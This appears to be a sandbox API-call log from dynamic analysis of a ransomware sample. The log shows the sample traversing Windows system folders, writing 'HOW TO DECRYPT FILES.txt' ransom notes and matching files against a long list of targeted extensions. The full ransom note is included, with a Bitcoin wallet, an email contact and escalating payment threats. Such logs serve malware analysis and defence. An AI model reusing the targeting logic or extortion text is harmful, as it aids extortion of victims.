0 [0122.779] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b3a970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86b3a970, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.779] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0122.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0122.779] lstrcmpiA (lpString1="", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0122.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\*.*") returned="*.*" [0122.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" [0122.779] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\") returned="" [0122.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt" [0122.779] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\how to decrypt files.txt")) returned 0xffffffff [0122.779] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.780] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0122.781] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0122.782] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.782] CloseHandle (hObject=0x90) returned 1 [0122.782] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\", lpString2="System.Web.RegularExpressions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll" [0122.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.ems") returned 0 [0122.782] lstrlenA (lpString="*.ems") returned 5 [0122.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.db") returned 0 [0122.782] lstrlenA (lpString="*.db") returned 4 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.dbf") returned 0 [0122.783] lstrlenA (lpString="*.dbf") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.myox") returned 0 [0122.783] lstrlenA (lpString="*.myox") returned 6 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.myo") returned 0 [0122.783] lstrlenA (lpString="*.myo") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbw") returned 0 [0122.783] lstrlenA (lpString="*.qbw") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbb") returned 0 [0122.783] lstrlenA (lpString="*.qbb") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbm") returned 0 [0122.783] lstrlenA (lpString="*.qbm") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbo") returned 0 [0122.783] lstrlenA (lpString="*.qbo") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbx") returned 0 [0122.783] lstrlenA (lpString="*.qbx") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qba") returned 0 [0122.783] lstrlenA (lpString="*.qba") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qby") returned 0 [0122.783] lstrlenA (lpString="*.qby") returned 5 [0122.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qbj") returned 0 [0122.784] lstrlenA (lpString="*.qbj") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.ofx") returned 0 [0122.784] lstrlenA (lpString="*.ofx") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.qif") returned 0 [0122.784] lstrlenA (lpString="*.qif") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.mye") returned 0 [0122.784] lstrlenA (lpString="*.mye") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.mbox") returned 0 [0122.784] lstrlenA (lpString="*.mbox") returned 6 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.eml") returned 0 [0122.784] lstrlenA (lpString="*.eml") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.pst") returned 0 [0122.784] lstrlenA (lpString="*.pst") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.ost") returned 0 [0122.784] lstrlenA (lpString="*.ost") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.idx") returned 0 [0122.784] lstrlenA (lpString="*.idx") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.dbx") returned 0 [0122.784] lstrlenA (lpString="*.dbx") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.sql") returned 0 [0122.784] lstrlenA (lpString="*.sql") returned 5 [0122.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.mdb") returned 0 [0122.785] lstrlenA (lpString="*.mdb") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.fdb") returned 0 [0122.785] lstrlenA (lpString="*.fdb") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.wab") returned 0 [0122.785] lstrlenA (lpString="*.wab") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.dat") returned 0 [0122.785] lstrlenA (lpString="*.dat") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.txt") returned 0 [0122.785] lstrlenA (lpString="*.txt") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.jpeg") returned 0 [0122.785] lstrlenA (lpString="*.jpeg") returned 6 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.jpg") returned 0 [0122.785] lstrlenA (lpString="*.jpg") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.png") returned 0 [0122.785] lstrlenA (lpString="*.png") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.php") returned 0 [0122.785] lstrlenA (lpString="*.php") returned 5 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.cs") returned 0 [0122.785] lstrlenA (lpString="*.cs") returned 4 [0122.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.cpp") returned 0 [0122.785] lstrlenA (lpString="*.cpp") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.rar") returned 0 [0122.786] lstrlenA (lpString="*.rar") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.zip") returned 0 [0122.786] lstrlenA (lpString="*.zip") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.html") returned 0 [0122.786] lstrlenA (lpString="*.html") returned 6 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.htm") returned 0 [0122.786] lstrlenA (lpString="*.htm") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.xlsx") returned 0 [0122.786] lstrlenA (lpString="*.xlsx") returned 6 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.xls") returned 0 [0122.786] lstrlenA (lpString="*.xls") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.mp4") returned 0 [0122.786] lstrlenA (lpString="*.mp4") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.ppt") returned 0 [0122.786] lstrlenA (lpString="*.ppt") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.pptx") returned 0 [0122.786] lstrlenA (lpString="*.pptx") returned 6 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.doc") returned 0 [0122.786] lstrlenA (lpString="*.doc") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.dot") returned 0 [0122.786] lstrlenA (lpString="*.dot") returned 5 [0122.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.docx") returned 0 [0122.786] lstrlenA (lpString="*.docx") returned 6 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.7z") returned 0 [0122.787] lstrlenA (lpString="*.7z") returned 4 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.tar") returned 0 [0122.787] lstrlenA (lpString="*.tar") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.bz2") returned 0 [0122.787] lstrlenA (lpString="*.bz2") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.gz") returned 0 [0122.787] lstrlenA (lpString="*.gz") returned 4 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.mkv") returned 0 [0122.787] lstrlenA (lpString="*.mkv") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.eml") returned 0 [0122.787] lstrlenA (lpString="*.eml") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.msg") returned 0 [0122.787] lstrlenA (lpString="*.msg") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.edb") returned 0 [0122.787] lstrlenA (lpString="*.edb") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.accdb") returned 0 [0122.787] lstrlenA (lpString="*.accdb") returned 7 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.odb") returned 0 [0122.787] lstrlenA (lpString="*.odb") returned 5 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.java") returned 0 [0122.787] lstrlenA (lpString="*.java") returned 6 [0122.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll", pszSpec="*.asm") returned 0 [0122.788] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0122.788] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.RegularExpressions.ni.dll.aux") returned -1 [0122.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.RegularExpressions.ni.dll.aux") returned -1 [0122.788] lstrcmpiA (lpString1="", lpString2="System.Web.RegularExpressions.ni.dll.aux") returned -1 [0122.788] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll") returned="System.Web.RegularExpressions.ni.dll" [0122.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" [0122.788] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\") returned="" [0122.788] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt" [0122.788] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\how to decrypt files.txt")) returned 0x20 [0122.789] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\", lpString2="System.Web.RegularExpressions.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll.aux" [0122.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.82d5542b#\\ed14a2ad91e9d66284b842858801736c\\System.Web.RegularExpressions.ni.dll.aux", pszSpec="*.ems") returned 0 [0122.789] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0122.789] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0122.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d29b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x86d29b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x86d29b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ed14a2ad91e9d66284b842858801736c", cAlternateFileName="ED14A2~1")) returned 0 [0122.789] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0122.789] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.8da3333a#", cAlternateFileName="SYSTEM~1.8DA")) returned 1 [0122.789] lstrcmpA (lpString1=".", lpString2="System.Web.8da3333a#") returned -1 [0122.790] lstrcmpA (lpString1="..", lpString2="System.Web.8da3333a#") returned -1 [0122.790] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0122.794] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.8da3333a#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#" [0122.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\*.*", 